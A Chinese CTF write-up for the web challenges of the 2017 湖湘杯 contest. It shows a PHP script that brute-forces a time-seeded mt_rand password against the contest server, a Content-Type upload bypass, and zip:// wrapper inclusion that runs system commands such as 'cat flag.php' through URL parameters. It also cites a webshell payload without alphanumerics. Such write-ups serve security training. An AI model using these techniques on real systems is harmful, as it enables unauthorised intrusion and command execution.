湖湘杯2017

2018-11-26  本文已影响0人  Shad0w_zz

WEB

random

扫描发现源码泄露.index.php.swp

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

mt_srand(time());

$pwd=create_password();

echo $pwd.'||';    

if($pwd == $_GET['pwd']){
    echo "first";
    if($_SESSION['userLogin']==$_GET['login'])
        echo "Nice , you get the flag it is ".$flag ;
}else{
    echo "Wrong!";
}

$_SESSION['userLogin']=create_password(32).rand();

?>

不巧和上个周湖南赛的比赛题目一样
我们可以看到源码,mt_srand设置种子固定之后,mt_rand(100, 200)出来的随机数就是固定的,因为代码是使用time来设置随机数种子的,于是,我们可以通过时间,来得到种子。至于session,session是在代码结尾的时候设置的,而判断if($_SESSION['userLogin']==$_GET['login'])在设置session之前,加之,这里是使用若等于判断的,所以,我们不用给login赋值就好,脚本如下:

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

for($i=time()-10;$i<time()+10;$i++)
{
    mt_srand($i);
    $pwd=create_password();
    $result=file_get_contents("http://114.215.138.89:10080/?pwd=$pwd&login=");
    echo $result.'<br>';
}
?>

得到flag:


图片.png

web200

通过测试发现只对文件上传的类型作了检测,只需要
Content-Type为 image/png 就行了。
之后发现所有上传的文件都会以png格式保存在uploads目录下,百度搜索了一波:
http://www.freebuf.com/articles/web/121778.html

通过 zip/phar伪协议 来包含文件

view-source:http://118.190.86.101:10080/?op=zip://uploads/05dfa0813998eeca5d8e7306ed3d6f400ecb7657.png%23shell&a=system&b=ls

图片.png

view-source:http://118.190.86.101:10080/?op=zip://uploads/05dfa0813998eeca5d8e7306ed3d6f400ecb7657.png%23shell&a=system&b=cat%20flag.php

图片.png

web300

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#_4
利用payload直接getshell

图片.png
上一篇下一篇

猜你喜欢

热点阅读